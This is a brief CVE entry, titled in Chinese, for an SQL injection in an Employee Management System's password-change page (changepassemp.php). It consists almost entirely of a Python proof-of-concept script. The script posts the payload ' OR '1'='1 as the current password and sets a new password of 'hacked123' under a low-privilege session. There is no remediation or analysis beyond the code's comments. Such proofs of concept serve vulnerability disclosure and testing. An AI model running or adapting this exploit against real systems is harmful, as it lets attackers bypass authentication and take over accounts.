CVE-2026-9449 员工管理系统SQL注入漏洞

import requests # Target URL for the vulnerable endpoint target_url = "http://target.com/Employee_Management_System/changepassemp.php" # Attacker's session cookie (simulating low-privilege user) cookies = { "PHPSESSID": "attacker_session_id" } # Payload to demonstrate SQL Injection in password change field # This payload attempts to manipulate the SQL query to always return true sql_payload = "' OR '1'='1" data = { "current_password": sql_payload, "new_password": "hacked123", "confirm_password": "hacked123" } try: response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("Request sent successfully. Check if password changed or DB error occurred.") print(response.text[:500]) # Print part of response for analysis else: print(f"Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")